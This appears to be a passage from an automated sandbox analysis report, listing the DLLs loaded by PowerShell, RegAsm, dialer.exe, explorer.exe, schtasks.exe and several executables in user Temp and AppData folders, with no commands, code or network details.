Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: tapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\dialer.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AppLaunch.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: mfsrcsnk.dll
Source: C:\Windows\explorer.exe	Section loaded: taskschd.dll
Source: C:\Windows\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.cloudstore.schema.shell.dll
Source: C:\Users\user\AppData\Roaming\gfiecjd	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: dui70.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: duser.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: chartv.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: oleacc.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: vaultcli.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: webio.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\explorer.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\explorer.exe	Section loaded: aepic.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: dxgi.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: propsys.dll
Source: C:\Windows\explorer.exe	Section loaded: coremessaging.dll
Source: C:\Windows\explorer.exe	Section loaded: urlmon.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: windows.storage.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: dwmapi.dll
Source: C:\Windows\explorer.exe	Section loaded: sspicli.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: ntmarta.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wldp.dll
Source: C:\Windows\explorer.exe	Section loaded: iertutil.dll
Source: C:\Windows\explorer.exe	Section loaded: srvcli.dll
